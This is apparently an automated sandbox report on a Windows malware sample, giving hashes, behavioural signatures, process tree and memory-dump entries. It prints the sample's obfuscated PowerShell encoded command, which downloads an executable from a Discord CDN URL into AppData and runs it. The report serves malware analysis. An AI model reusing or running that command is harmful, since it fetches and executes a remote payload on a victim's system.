Analysis
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max time kernel
31s -
max time network
33s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
26-12-2022 21:05
Static task
static1
Behavioral task
behavioral1
Sample
1.exe
Resource
win7-20221111-en
windows7-x64
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
1.exe
Resource
win10v2004-20220901-en
windows10-2004-x64
13 signatures
150 seconds
General
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Target
1.exe
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Size
5KB
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MD5
0afa034595bdcf7b9b990b083910f7a5
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SHA1
9c9d01227016d43458c7567612a64f88df84c787
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SHA256
c6dd505d02069b6b0452f51c165db53fbb6b80b4b48de19c083ab22ef98b2158
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SHA512
4753057e45f2f03f9cab56f3b7864d2d3455f2549ebb7e6c9fcc8680f8a9e38568026e72694cebf288f3e63fc180b08e5d0fad0f3b1a74e5dc88612d4db6544a
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SSDEEP
96:RF79kEll3VI29zS6hENISXX8z/n3xuscvHd3ojbrl:79kE/332NISH8z/n3QXHd0
Score
8/10
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 4 568 powershell.exe 5 568 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 568 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 568 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
1.exedescription pid process target process PID 948 wrote to memory of 568 948 1.exe powershell.exe PID 948 wrote to memory of 568 948 1.exe powershell.exe PID 948 wrote to memory of 568 948 1.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\1.exe"C:\Users\Admin\AppData\Local\Temp\1.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAaQBrACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADUANgA2ADUAMwAxADYANAAwADgAOAAxADMAOQA4ADEANwAvADEAMAA1ADYANgA1ADMANwAxADQAMQAzADcANQA1ADUAMAAwADQALwBDAFIALgBlAHgAZQAnACwAIAA8ACMAbgBsAGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBnAHcAdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAHIAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAC4AZQB4AGUAJwApACkAPAAjAGcAZABoACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHoAbABqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB3AGYAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAC4AZQB4AGUAJwApADwAIwB6AGgAdgAjAD4A"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/568-56-0x0000000000000000-mapping.dmp
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memory/568-58-0x000007FEF3940000-0x000007FEF4363000-memory.dmpFilesize
10.1MB
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memory/568-60-0x00000000023C4000-0x00000000023C7000-memory.dmpFilesize
12KB
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memory/568-59-0x000007FEF2DE0000-0x000007FEF393D000-memory.dmpFilesize
11.4MB
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memory/568-61-0x00000000023CB000-0x00000000023EA000-memory.dmpFilesize
124KB
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memory/568-62-0x00000000023C4000-0x00000000023C7000-memory.dmpFilesize
12KB
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memory/568-63-0x00000000023CB000-0x00000000023EA000-memory.dmpFilesize
124KB
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memory/948-54-0x0000000001090000-0x0000000001098000-memory.dmpFilesize
32KB
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memory/948-55-0x000007FEFBDD1000-0x000007FEFBDD3000-memory.dmpFilesize
8KB